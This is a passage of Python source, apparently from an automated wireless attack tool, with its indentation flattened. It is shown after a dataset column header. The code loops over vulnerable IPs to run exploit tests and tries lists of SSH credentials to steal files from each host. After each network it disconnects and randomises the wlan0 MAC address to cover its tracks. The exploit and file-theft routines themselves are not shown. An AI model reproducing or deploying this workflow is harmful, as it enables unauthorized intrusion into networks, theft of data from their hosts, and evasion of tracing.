text
stringlengths
1
93.6k
vulnerabilities[ip] = vuln_results
# Exploit Testing Phase
exploit_tester = ExploitTester(logger=logger)
for ip, vuln_data in vulnerabilities.items():
for vuln in vuln_data["vulnerabilities"]:
logger.log(f"[INFO] Running exploit testing on IP: {ip} for vulnerability: {vuln}")
update_display_state(
display,
state_manager,
"attacking",
current_ssid=ssid,
current_status="Running exploit tests",
stats=stats,
use_partial_update=True
)
exploit_tester.run_exploit_testing(
service_data=vuln,
target_ip=ip,
ssid=ssid,
html_logger=html_logger,
)
update_display_state(
display,
state_manager,
"validating",
current_ssid=ssid,
current_status="Validating exploit results...",
stats=stats,
use_partial_update=True
)
stats["exploits"] += 1
# File Stealing Phase
file_stealer = FileStealer(logger=logger)
for ip in vulnerabilities.keys():
update_display_state(
display,
state_manager,
"attacking",
current_ssid=ssid,
current_status="Stealing files",
stats=stats,
use_partial_update=True
)
successful = False
for creds in ssh_credentials:
# Pass OS type to the file stealer
if file_stealer.steal_files(
target_ip=ip,
username=creds["username"],
password=creds["password"],
os_type=os_type
):
successful = True
stats["files"] += 3 # Increment files per successful steal
break
if successful:
logger.log(f"[SUCCESS] File stealing successful for IP: {ip}")
wifi_manager.disconnect_wifi()
connected_ssid = None # Reset connected SSID after disconnecting
change_mac_address(logger)
# Full refresh after workflow completion
update_display_state(
display,
state_manager,
"success",
current_ssid="Completed Network",
current_status="Workflow Complete",
stats=stats,
use_partial_update=False # Full refresh to clear any ghosting
)
def change_mac_address(logger):
"""
Change the MAC address of the `wlan0` interface.
Parameters:
logger (Logger): Logger for recording progress and errors.
Workflow:
1. Brings the `wlan0` interface down.
2. Uses `macchanger` to randomly set a new MAC address.
3. Brings the interface back up.
Raises:
subprocess.CalledProcessError: If any command fails during the process.
"""
try:
logger.log("[INFO] Changing MAC address for wlan0.")
subprocess.run(["sudo", "ifconfig", "wlan0", "down"], check=True)
subprocess.run(["sudo", "macchanger", "-r", "wlan0"], check=True)
subprocess.run(["sudo", "ifconfig", "wlan0", "up"], check=True)
logger.log("[SUCCESS] MAC address changed successfully.")
except subprocess.CalledProcessError as e:
logger.log(f"[ERROR] Failed to change MAC address: {str(e)}")